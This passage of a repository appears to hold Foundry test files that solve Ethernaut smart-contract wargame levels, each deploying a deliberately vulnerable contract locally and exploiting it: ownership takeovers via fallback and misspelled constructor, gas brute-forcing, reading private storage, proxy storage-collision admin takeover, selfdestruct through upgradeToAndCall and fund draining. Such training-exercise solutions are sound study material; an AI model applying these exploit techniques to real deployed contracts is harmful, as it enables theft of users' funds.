Call the attack function 38 | dexHack.attack(); 39 | 40 | 41 | ////////////////////// 42 | // LEVEL SUBMISSION // 43 | ////////////////////// 44 | 45 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 46 | assert(levelSuccessfullyPassed); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/test/DexTwo.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../DexTwo/DexTwoHack.sol"; 5 | import "../DexTwo/DexTwoFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | 8 | contract DexTwoTest is DSTest { 9 | Ethernaut ethernaut; 10 | 11 | function setUp() public { 12 | // Setup instance of the Ethernaut contract 13 | ethernaut = new Ethernaut(); 14 | } 15 | 16 | function testDexTwoHack() public { 17 | ///////////////// 18 | // LEVEL SETUP // 19 | ///////////////// 20 | 21 | DexTwoFactory dexTwoFactory = new DexTwoFactory(); 22 | ethernaut.registerLevel(dexTwoFactory); 23 | address levelAddress = ethernaut.createLevelInstance{value: 1 ether}(dexTwoFactory); 24 | DexTwo ethernautDexTwo = DexTwo(payable(levelAddress)); 25 | 26 | ////////////////// 27 | // LEVEL ATTACK // 28 | ////////////////// 29 | 30 | // Create DexTwoHack Contract 31 | DexTwoHack dexTwoHack = new DexTwoHack(ethernautDexTwo); 32 | 33 | // give the attack contract the balance 34 | IERC20(ethernautDexTwo.token1()).transfer(address(dexTwoHack), IERC20(ethernautDexTwo.token1()).balanceOf(address(this))); 35 | IERC20(ethernautDexTwo.token2()).transfer(address(dexTwoHack), IERC20(ethernautDexTwo.token2()).balanceOf(address(this))); 36 | 37 | // Call the attack function 38 | dexTwoHack.attack(); 39 | 40 | ////////////////////// 41 | // LEVEL SUBMISSION // 42 | ////////////////////// 43 | 44 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 45 | assert(levelSuccessfullyPassed); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/test/Elevator.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Elevator/ElevatorHack.sol"; 5 | import "../Elevator/ElevatorFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | 8 | contract ElevatorTest is DSTest { 9 | Ethernaut ethernaut; 10 | 11 | function setUp() public { 12 | // Setup instance of the Ethernaut contract 13 | ethernaut = new Ethernaut(); 14 | } 15 | 16 | function testElevatorHack() public { 17 | ///////////////// 18 | // LEVEL SETUP // 19 | ///////////////// 20 | 21 | ElevatorFactory elevatorFactory = new ElevatorFactory(); 22 | ethernaut.registerLevel(elevatorFactory); 23 | address levelAddress = ethernaut.createLevelInstance(elevatorFactory); 24 | Elevator ethernautElevator = Elevator(payable(levelAddress)); 25 | 26 | ////////////////// 27 | // LEVEL ATTACK // 28 | ////////////////// 29 | 30 | // Create ElevatorHack contract 31 | ElevatorHack elevatorHack = new ElevatorHack(levelAddress); 32 | 33 | // Call the attack function 34 | elevatorHack.attack(); 35 | 36 | 37 | ////////////////////// 38 | // LEVEL SUBMISSION // 39 | ////////////////////// 40 | 41 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 42 | assert(levelSuccessfullyPassed); 43 | } 44 | } -------------------------------------------------------------------------------- /src/test/Fallback.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Fallback/FallbackFactory.sol"; 5 | import "../Ethernaut.sol"; 6 | import "./utils/vm.sol"; 7 | 8 | contract FallbackTest is DSTest { 9 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 10 | Ethernaut ethernaut; 11 | address eoaAddress = address(100); 12 | 13 | function setUp() public { 14 | // Setup instance of the Ethernaut contract 15 | ethernaut = new Ethernaut(); 16 | // Deal EOA address some ether 17 | vm.deal(eoaAddress, 5 ether); 18 | } 19 | 20 | function testFallbackHack() public { 21 | ///////////////// 22 | // LEVEL SETUP // 23 | ///////////////// 24 | 25 | FallbackFactory fallbackFactory = new FallbackFactory(); 26 | ethernaut.registerLevel(fallbackFactory); 27 | vm.startPrank(eoaAddress); 28 | address levelAddress = ethernaut.createLevelInstance(fallbackFactory); 29 | Fallback ethernautFallback = Fallback(payable(levelAddress)); 30 | 31 | ////////////////// 32 | // LEVEL ATTACK // 33 | ////////////////// 34 | 35 | // Contribute 1 wei - verify contract state has been updated 36 | ethernautFallback.contribute{value: 1 wei}(); 37 | assertEq(ethernautFallback.contributions(eoaAddress), 1 wei); 38 | 39 | // Call the contract with some value to hit the fallback function - .transfer doesn't send with enough gas to change the owner state 40 | payable(address(ethernautFallback)).call{value: 1 wei}(""); 41 | // Verify contract owner has been updated to 0 address 42 | assertEq(ethernautFallback.owner(), eoaAddress); 43 | 44 | // Withdraw from contract - Check contract balance before and after 45 | emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance); 46 | ethernautFallback.withdraw(); 47 | emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance); 48 | 49 | ////////////////////// 50 | // LEVEL SUBMISSION // 51 | ////////////////////// 52 | 53 | 54 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 55 | vm.stopPrank(); 56 | assert(levelSuccessfullyPassed); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /src/test/Fallout.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Fallout/FalloutFactory.sol"; 5 | import "../Ethernaut.sol"; 6 | import "./utils/vm.sol"; 7 | 8 | contract FalloutTest is DSTest { 9 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 10 | Ethernaut ethernaut; 11 | address eoaAddress = address(100); 12 | 13 | function setUp() public { 14 | // Setup instance of the Ethernaut contracts 15 | ethernaut = new Ethernaut(); 16 | // Deal EOA address some ether 17 | vm.deal(eoaAddress, 5 ether); 18 | } 19 | 20 | function testFalloutHack() public { 21 | ///////////////// 22 | // LEVEL SETUP // 23 | ///////////////// 24 | 25 | FalloutFactory falloutFactory = new FalloutFactory(); 26 | ethernaut.registerLevel(falloutFactory); 27 | vm.startPrank(eoaAddress); 28 | address levelAddress = ethernaut.createLevelInstance(falloutFactory); 29 | Fallout ethernautFallout = Fallout(payable(levelAddress)); 30 | 31 | ////////////////// 32 | // LEVEL ATTACK // 33 | ////////////////// 34 | 35 | // Call Fal1out constructor function with some value, mispelling enables us to call it - log owner before and after 36 | emit log_named_address("Fallout Owner Before Attack", ethernautFallout.owner()); 37 | ethernautFallout.Fal1out{value: 1 wei}(); 38 | emit log_named_address("Fallout Owner After Attack", ethernautFallout.owner()); 39 | 40 | ////////////////////// 41 | // LEVEL SUBMISSION // 42 | ////////////////////// 43 | 44 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 45 | vm.stopPrank(); 46 | assert(levelSuccessfullyPassed); 47 | } 48 | } -------------------------------------------------------------------------------- /src/test/Force.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Force/ForceHack.sol"; 5 | import "../Force/ForceFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | import "./utils/vm.sol"; 8 | 9 | contract ForceTest is DSTest { 10 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 11 | Ethernaut ethernaut; 12 | address eoaAddress = address(100); 13 | 14 | function setUp() public { 15 | // Setup instance of the Ethernaut contract 16 | ethernaut = new Ethernaut(); 17 | // Deal EOA address some ether 18 | vm.deal(eoaAddress, 5 ether); 19 | } 20 | 21 | function testForceHack() public { 22 | 23 | ///////////////// 24 | // LEVEL SETUP // 25 | ///////////////// 26 | 27 | ForceFactory forceFactory = new ForceFactory(); 28 | ethernaut.registerLevel(forceFactory); 29 | vm.startPrank(eoaAddress); 30 | address levelAddress = ethernaut.createLevelInstance(forceFactory); 31 | Force ethernautForce = Force(payable(levelAddress)); 32 | 33 | 34 | ////////////////// 35 | // LEVEL ATTACK // 36 | ////////////////// 37 | 38 | // Create the attacking contract which will self destruct and send ether to the Force contract 39 | ForceHack forceHack = (new ForceHack){value: 0.1 ether}(payable(levelAddress)); 40 | 41 | 42 | ////////////////////// 43 | // LEVEL SUBMISSION // 44 | ////////////////////// 45 | 46 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 47 | vm.stopPrank(); 48 | assert(levelSuccessfullyPassed); 49 | } 50 | } -------------------------------------------------------------------------------- /src/test/GatekeeperOne.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../GatekeeperOne/GatekeeperOneHack.sol"; 5 | import "../GatekeeperOne/GatekeeperOneFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | import "./utils/vm.sol"; 8 | 9 | contract GatekeeperOneTest is DSTest { 10 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 11 | Ethernaut ethernaut; 12 | 13 | function setUp() public { 14 | // Setup instance of the Ethernaut contracts 15 | ethernaut = new Ethernaut(); 16 | } 17 | 18 | function testGatekeeperOneHack() public { 19 | ///////////////// 20 | // LEVEL SETUP // 21 | ///////////////// 22 | 23 | GatekeeperOneFactory gatekeeperOneFactory = new GatekeeperOneFactory(); 24 | ethernaut.registerLevel(gatekeeperOneFactory); 25 | vm.startPrank(tx.origin); 26 | address levelAddress = ethernaut.createLevelInstance(gatekeeperOneFactory); 27 | GatekeeperOne ethernautGatekeeperOne = GatekeeperOne(payable(levelAddress)); 28 | vm.stopPrank(); 29 | 30 | ////////////////// 31 | // LEVEL ATTACK // 32 | ////////////////// 33 | 34 | // Create GatekeeperOneHack contract 35 | GatekeeperOneHack gatekeeperOneHack = new GatekeeperOneHack(levelAddress); 36 | 37 | // Need at 8 byte key that matches the conditions for gate 3 - we start from the fixed value - uint16(uint160(tx.origin) - then work out what the key needs to be 38 | bytes4 halfKey = bytes4(bytes.concat(bytes2(uint16(0)),bytes2(uint16(uint160(tx.origin))))); 39 | // key = "0x0000ea720000ea72" 40 | bytes8 key = bytes8(bytes.concat(halfKey, halfKey)); 41 | 42 | // View emitted values and compare them to the requires in Gatekeeper One 43 | emit log_named_uint("Gate 3 all requires", uint32(uint64(key))); 44 | emit log_named_uint("Gate 3 first require", uint16(uint64(key))); 45 | emit log_named_uint("Gate 3 second require", uint64(key)); 46 | emit log_named_uint("Gate 3 third require", uint16(uint160(tx.origin))); 47 | 48 | // Loop through a until correct gas is found, use try catch to get arounf the revert 49 | for (uint i = 0; i <= 8191; i++) { 50 | try ethernautGatekeeperOne.enter{gas: 73990+i}(key) { 51 | emit log_named_uint("Pass - Gas", 73990+i); 52 | break; 53 | } catch { 54 | emit log_named_uint("Fail - Gas", 73990+i); 55 | } 56 | } 57 | 58 | ////////////////////// 59 | // LEVEL SUBMISSION // 60 | ////////////////////// 61 | 62 | vm.startPrank(tx.origin); 63 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 64 | vm.stopPrank(); 65 | assert(levelSuccessfullyPassed); 66 | } 67 | } -------------------------------------------------------------------------------- /src/test/GatekeeperTwo.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../GatekeeperTwo/GatekeeperTwoHack.sol"; 5 | import "../GatekeeperTwo/GatekeeperTwoFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | import "./utils/vm.sol"; 8 | 9 | contract GatekeeperTwoTest is DSTest { 10 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 11 | Ethernaut ethernaut; 12 | 13 | function setUp() public { 14 | // Setup instance of the Ethernaut contracts 15 | ethernaut = new Ethernaut(); 16 | } 17 | 18 | function testGatekeeperTwoHack() public { 19 | ///////////////// 20 | // LEVEL SETUP // 21 | ///////////////// 22 | 23 | GatekeeperTwoFactory gatekeeperTwoFactory = new GatekeeperTwoFactory(); 24 | ethernaut.registerLevel(gatekeeperTwoFactory); 25 | vm.startPrank(tx.origin); 26 | address levelAddress = ethernaut.createLevelInstance(gatekeeperTwoFactory); 27 | GatekeeperTwo ethernautGatekeeperTwo = GatekeeperTwo(payable(levelAddress)); 28 | vm.stopPrank(); 29 | 30 | ////////////////// 31 | // LEVEL ATTACK // 32 | ////////////////// 33 | 34 | 35 | // Create attacking contract - attack is inside the constructor so no need to call any subsequent functions 36 | GatekeeperTwoHack gatekeeperTwoHack = new GatekeeperTwoHack(levelAddress); 37 | 38 | 39 | ////////////////////// 40 | // LEVEL SUBMISSION // 41 | ////////////////////// 42 | 43 | vm.startPrank(tx.origin); 44 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 45 | vm.stopPrank(); 46 | assert(levelSuccessfullyPassed); 47 | } 48 | } -------------------------------------------------------------------------------- /src/test/King.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../King/KingHack.sol"; 5 | import "../King/KingFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | import "./utils/vm.sol"; 8 | 9 | contract KingTest is DSTest { 10 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 11 | Ethernaut ethernaut; 12 | address eoaAddress = address(100); 13 | 14 | function setUp() public { 15 | // Setup instance of the Ethernaut contract 16 | ethernaut = new Ethernaut(); 17 | // Deal EOA address some ether 18 | vm.deal(eoaAddress, 5 ether); 19 | } 20 | 21 | function testKingHack() public { 22 | ///////////////// 23 | // LEVEL SETUP // 24 | ///////////////// 25 | 26 | KingFactory kingFactory = new KingFactory(); 27 | ethernaut.registerLevel(kingFactory); 28 | vm.startPrank(eoaAddress); 29 | address levelAddress = ethernaut.createLevelInstance{value: 1 ether}(kingFactory); 30 | King ethernautKing = King(payable(levelAddress)); 31 | 32 | ////////////////// 33 | // LEVEL ATTACK // 34 | ////////////////// 35 | 36 | // Create KingHack Contract 37 | KingHack kingHack = new KingHack(payable(levelAddress)); 38 | 39 | // Call the attack function the recieve function in the KingHack contract will prevent others from becoming king 40 | kingHack.attack{value: 1 ether}(); 41 | 42 | ////////////////////// 43 | // LEVEL SUBMISSION // 44 | ////////////////////// 45 | 46 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 47 | vm.stopPrank(); 48 | assert(levelSuccessfullyPassed); 49 | } 50 | } -------------------------------------------------------------------------------- /src/test/MagicNum.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../MagicNum/MagicNumFactory.sol"; 5 | import "../Ethernaut.sol"; 6 | import "./utils/vm.sol"; 7 | 8 | contract MagicNumTest is DSTest { 9 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 10 | Ethernaut ethernaut; 11 | 12 | function setUp() public { 13 | // Setup instance of the Ethernaut contract 14 | ethernaut = new Ethernaut(); 15 | } 16 | 17 | function testMagicNum() public { 18 | ///////////////// 19 | // LEVEL SETUP // 20 | ///////////////// 21 | 22 | MagicNumFactory magicNumFactory = new MagicNumFactory(); 23 | ethernaut.registerLevel(magicNumFactory); 24 | vm.startPrank(tx.origin); 25 | address levelAddress = ethernaut.createLevelInstance(magicNumFactory); 26 | MagicNum ethernautMagicNum = MagicNum(payable(levelAddress)); 27 | 28 | 29 | ////////////////// 30 | // LEVEL ATTACK // 31 | ////////////////// 32 | 33 | // INIT CODE 34 | // 600a -- push 10 (runtime code size) 35 | // 600c -- push 12 (runtime code start byte) 36 | // 6000 -- push 0 (memory address to copy to) 37 | // 39 -- codecopy 38 | // 600a -- push amount of bytes to return 39 | // 6000 -- memory address to start returning from 40 | // f3 -- return 41 | // RUNTIME CODE 42 | // 602a -- push value to return (42 in decimal) 43 | // 6080 -- push mem address to store 44 | // 52 -- mstore 45 | // 6020 -- push number of bytes to return 46 | // 6080 -- push mem address to return 47 | // f3 -- return 48 | 49 | bytes memory code = "\x60\x0a\x60\x0c\x60\x00\x39\x60\x0a\x60\x00\xf3\x60\x2a\x60\x80\x52\x60\x20\x60\x80\xf3"; 50 | address addr; 51 | assembly { 52 | addr := create(0, add(code, 0x20), mload(code)) 53 | if iszero(extcodesize(addr)) { 54 | revert(0, 0) 55 | } 56 | } 57 | ethernautMagicNum.setSolver(addr); 58 | 59 | ////////////////////// 60 | // LEVEL SUBMISSION // 61 | ////////////////////// 62 | 63 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 64 | vm.stopPrank(); 65 | assert(levelSuccessfullyPassed); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/test/Motorbike.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Motorbike/Motorbike.sol"; 5 | import "./utils/vm.sol"; 6 | 7 | contract MotorbikeTest is DSTest { 8 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 9 | address eoaAddress = address(100); 10 | 11 | event IsTrue(bool answer); 12 | 13 | function setUp() public { 14 | // Deal EOA address some ether 15 | vm.deal(eoaAddress, 5 ether); 16 | } 17 | 18 | function testMotorbikeHack() public { 19 | ///////////////// 20 | // LEVEL SETUP // 21 | ///////////////// 22 | 23 | Engine engine = new Engine(); 24 | Motorbike motorbike = new Motorbike(address(engine)); 25 | Engine ethernautEngine = Engine(payable(address(motorbike))); 26 | 27 | ////////////////// 28 | // LEVEL ATTACK // 29 | ////////////////// 30 | 31 | // initialise the engine 32 | engine.initialize(); 33 | 34 | // Set up bike Exy 35 | BikeExy bikeExy = new BikeExy(); 36 | 37 | // Get data required for the upgrade to and call method 38 | bytes memory initEncoded = abi.encodeWithSignature("initialize()"); 39 | 40 | 41 | // upgrade to and call will delegate call to bikeExy which will run selfdestruct 42 | engine.upgradeToAndCall(address(bikeExy), initEncoded); 43 | 44 | 45 | ////////////////////// 46 | // LEVEL SUBMISSION // 47 | ////////////////////// 48 | 49 | // Because of the way foundry test work it is very hard to verify this test was successful 50 | // Selfdestruct is a substate (see pg 8 https://ethereum.github.io/yellowpaper/paper.pdf) 51 | // This means it gets executed at the end of a transaction, a single test is a single transaction 52 | // This means we can call selfdestruct on the engine contract at the start of the test but we will 53 | // continue to be allowed to call all other contract function for the duration of that transaction (test) 54 | // since the selfdestruct execution only happy at the end 55 | } 56 | } -------------------------------------------------------------------------------- /src/test/NaughtCoin.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../NaughtCoin/NaughtCoinFactory.sol"; 5 | import "../Ethernaut.sol"; 6 | import "./utils/vm.sol"; 7 | 8 | contract NaughtCoinTest is DSTest { 9 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 10 | Ethernaut ethernaut; 11 | 12 | function setUp() public { 13 | // Setup instance of the Ethernaut contracts 14 | ethernaut = new Ethernaut(); 15 | } 16 | 17 | function testNaughtCoinHack() public { 18 | ///////////////// 19 | // LEVEL SETUP // 20 | ///////////////// 21 | 22 | NaughtCoinFactory naughtCoinFactory = new NaughtCoinFactory(); 23 | ethernaut.registerLevel(naughtCoinFactory); 24 | vm.startPrank(tx.origin); 25 | address levelAddress = ethernaut.createLevelInstance(naughtCoinFactory); 26 | NaughtCoin ethernautNaughtCoin = NaughtCoin(payable(levelAddress)); 27 | 28 | ////////////////// 29 | // LEVEL ATTACK // 30 | ////////////////// 31 | 32 | // Use approve and transferFrom which are inherited from ERC20.sol don't have the timelock modifier 33 | ethernautNaughtCoin.approve(tx.origin, (1000000 * (10**uint256(18)))); 34 | ethernautNaughtCoin.transferFrom(tx.origin, address(100), (1000000 * (10**uint256(18)))); 35 | 36 | ////////////////////// 37 | // LEVEL SUBMISSION // 38 | ////////////////////// 39 | 40 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 41 | vm.stopPrank(); 42 | assert(levelSuccessfullyPassed); 43 | } 44 | } -------------------------------------------------------------------------------- /src/test/Preservation.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Preservation/PreservationHack.sol"; 5 | import "../Preservation/PreservationFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | import "./utils/vm.sol"; 8 | 9 | contract PreservationTest is DSTest { 10 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 11 | Ethernaut ethernaut; 12 | 13 | function setUp() public { 14 | // Setup instance of the Ethernaut contract 15 | ethernaut = new Ethernaut(); 16 | } 17 | 18 | function testPreservationHack() public { 19 | ///////////////// 20 | // LEVEL SETUP // 21 | ///////////////// 22 | 23 | PreservationFactory preservationFactory = new PreservationFactory(); 24 | ethernaut.registerLevel(preservationFactory); 25 | vm.startPrank(tx.origin); 26 | address levelAddress = ethernaut.createLevelInstance(preservationFactory); 27 | Preservation ethernautPreservation = Preservation(payable(levelAddress)); 28 | 29 | ////////////////// 30 | // LEVEL ATTACK // 31 | ////////////////// 32 | 33 | // Move the block from 0 to 5 to prevent underflow errors 34 | vm.roll(5); 35 | 36 | // Create preservationHack contract 37 | PreservationHack preservationHack = new PreservationHack(levelAddress); 38 | 39 | // Run the attack 40 | preservationHack.attack(); 41 | 42 | ////////////////////// 43 | // LEVEL SUBMISSION // 44 | ////////////////////// 45 | 46 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 47 | vm.stopPrank(); 48 | assert(levelSuccessfullyPassed); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/test/Privacy.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Privacy/PrivacyFactory.sol"; 5 | import "../Ethernaut.sol"; 6 | import "./utils/vm.sol"; 7 | 8 | contract PrivacyTest is DSTest { 9 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 10 | Ethernaut ethernaut; 11 | 12 | function setUp() public { 13 | // Setup instance of the Ethernaut contract 14 | ethernaut = new Ethernaut(); 15 | } 16 | 17 | function testPrivacyHack() public { 18 | ///////////////// 19 | // LEVEL SETUP // 20 | ///////////////// 21 | 22 | PrivacyFactory privacyFactory = new PrivacyFactory(); 23 | ethernaut.registerLevel(privacyFactory); 24 | vm.startPrank(tx.origin); 25 | address levelAddress = ethernaut.createLevelInstance(privacyFactory); 26 | Privacy ethernautPrivacy = Privacy(payable(levelAddress)); 27 | 28 | ////////////////// 29 | // LEVEL ATTACK // 30 | ////////////////// 31 | 32 | // Cheat code to load contract storage at specific slot 33 | bytes32 secretData = vm.load(levelAddress, bytes32(uint256(5))); 34 | // Log bytes stored at that memory location 35 | emit log_bytes(abi.encodePacked(secretData)); 36 | 37 | // Not relevant to completing the level but shows how we can split a bytes32 into its component parts 38 | bytes16[2] memory secretDataSplit = [bytes16(0), 0]; 39 | assembly { 40 | mstore(secretDataSplit, secretData) 41 | mstore(add(secretDataSplit, 16), secretData) 42 | } 43 | 44 | // Call the unlock function with the secretData we read from storage, also cast bytes32 to bytes16 45 | ethernautPrivacy.unlock(bytes16(secretData)); 46 | 47 | ////////////////////// 48 | // LEVEL SUBMISSION // 49 | ////////////////////// 50 | 51 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 52 | vm.stopPrank(); 53 | assert(levelSuccessfullyPassed); 54 | } 55 | } -------------------------------------------------------------------------------- /src/test/PuzzleWallet.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../PuzzleWallet/PuzzleWalletFactory.sol"; 5 | import "./utils/vm.sol"; 6 | 7 | contract PuzzleWalletTest is DSTest { 8 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 9 | address eoaAddress = address(100); 10 | 11 | // Memory cannot hold dynamic byte arrays must be storage 12 | bytes[] depositData = [abi.encodeWithSignature("deposit()")]; 13 | bytes[] multicallData = [abi.encodeWithSignature("deposit()"), abi.encodeWithSignature("multicall(bytes[])", depositData)]; 14 | 15 | event IsTrue(bool answer); 16 | 17 | function setUp() public { 18 | // Deal EOA address some ether 19 | vm.deal(eoaAddress, 5 ether); 20 | } 21 | 22 | function testPuzzleWalletHack() public { 23 | ///////////////// 24 | // LEVEL SETUP // 25 | ///////////////// 26 | 27 | PuzzleWalletFactory puzzleWalletFactory = new PuzzleWalletFactory(); 28 | (address levelAddressProxy, address levelAddressWallet) = puzzleWalletFactory.createInstance{value: 1 ether}(); 29 | PuzzleProxy ethernautPuzzleProxy = PuzzleProxy(payable(levelAddressProxy)); 30 | PuzzleWallet ethernautPuzzleWallet = PuzzleWallet(payable(levelAddressWallet)); 31 | 32 | vm.startPrank(eoaAddress); 33 | 34 | ////////////////// 35 | // LEVEL ATTACK // 36 | ////////////////// 37 | 38 | emit log_address(ethernautPuzzleProxy.admin()); 39 | emit log_address(ethernautPuzzleWallet.owner()); 40 | 41 | ethernautPuzzleProxy.proposeNewAdmin(eoaAddress); 42 | emit log_address(ethernautPuzzleWallet.owner()); 43 | 44 | emit IsTrue(ethernautPuzzleWallet.whitelisted(eoaAddress)); 45 | ethernautPuzzleWallet.addToWhitelist(eoaAddress); 46 | ethernautPuzzleWallet.addToWhitelist(levelAddressWallet); 47 | emit IsTrue(ethernautPuzzleWallet.whitelisted(eoaAddress)); 48 | 49 | // Call multicall with multicallData above enables us to double deposit 50 | ethernautPuzzleWallet.multicall{value: 1 ether}(multicallData); 51 | 52 | // Withdraw funds so balance of contract is 0 53 | ethernautPuzzleWallet.execute(eoaAddress, 2 ether, bytes("")); 54 | 55 | // Check who current admin is of proxy 56 | assertTrue((ethernautPuzzleProxy.admin() != eoaAddress)); 57 | 58 | 59 | // Set max balance to your address, there's no separation between the storage layer of the proxy 60 | // and the puzzle wallet - this means when you to maxbalance (slot 1) you also write to the proxy admin variable 61 | ethernautPuzzleWallet.setMaxBalance(uint256(uint160(eoaAddress))); 62 | 63 | 64 | ////////////////////// 65 | // LEVEL SUBMISSION // 66 | ////////////////////// 67 | 68 | // Verify We have become admin 69 | assertTrue((ethernautPuzzleProxy.admin() == eoaAddress)); 70 | vm.stopPrank(); 71 | } 72 | } -------------------------------------------------------------------------------- /src/test/Recovery.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Recovery/RecoveryFactory.sol"; 5 | import "../Ethernaut.sol"; 6 | import "./utils/vm.sol"; 7 | 8 | contract RecoveryTest is DSTest { 9 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 10 | Ethernaut ethernaut; 11 | address eoaAddress = address(100); 12 | 13 | function setUp() public { 14 | // Setup instance of the Ethernaut contract 15 | ethernaut = new Ethernaut(); 16 | // Deal EOA address some ether 17 | vm.deal(eoaAddress, 5 ether); 18 | } 19 | 20 | function testRecovery() public { 21 | ///////////////// 22 | // LEVEL SETUP // 23 | ///////////////// 24 | 25 | RecoveryFactory recoveryFactory = new RecoveryFactory(); 26 | ethernaut.registerLevel(recoveryFactory); 27 | vm.startPrank(eoaAddress); 28 | address levelAddress = ethernaut.createLevelInstance{value: 0.001 ether}(recoveryFactory); 29 | Recovery ethernautRecovery = Recovery(payable(levelAddress)); 30 | 31 | ////////////////// 32 | // LEVEL ATTACK // 33 | ////////////////// 34 | 35 | // Get the SimpleToken address from the Recovery contract address 36 | address _simpleTokenAddr = address(uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), levelAddress, uint8(0x01)))))); 37 | SimpleToken _simpleToken = SimpleToken(payable(_simpleTokenAddr)); 38 | 39 | // Recover the ether: destroy the SimpleToken contract, sending any existing balance to address specified (the player) 40 | _simpleToken.destroy(payable(address(0))); 41 | 42 | ////////////////////// 43 | // LEVEL SUBMISSION // 44 | ////////////////////// 45 | 46 | bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); 47 | vm.stopPrank(); 48 | assert(levelSuccessfullyPassed); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/test/Reentrance.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.10; 2 | 3 | import "ds-test/test.sol"; 4 | import "../Reentrance/ReentranceHack.sol"; 5 | import "../Reentrance/ReentranceFactory.sol"; 6 | import "../Ethernaut.sol"; 7 | import "./utils/vm.sol"; 8 | 9 | contract ReentranceTest is DSTest { 10 | Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); 11 | Ethernaut ethernaut; 12 | address eoaAddress = address(100); 13 | 14 | function setUp() public { 15 | // Setup instance of the Ethernaut contract 16 | ethernaut = new Ethernaut(); 17 | // Deal EOA address some ether 18 | vm.deal(eoaAddress, 3 ether); 19 | } 20 | 21 | function testReentranceHack() public { 22 | ///////////////// 23 | // LEVEL SETUP // 24 | ///////////////// 25 | 26 | ReentranceFactory reentranceFactory = new ReentranceFactory(); 27 | ethernaut.registerLevel(reentranceFactory); 28 | vm.startPrank(eoaAddress); 29 | address levelAddress = ethernaut.createLevelInstance{value: 1 ether}(reentranceFactory); 30 | Reentrance ethernautReentrance = Reentrance(payable(levelAddress)); 31 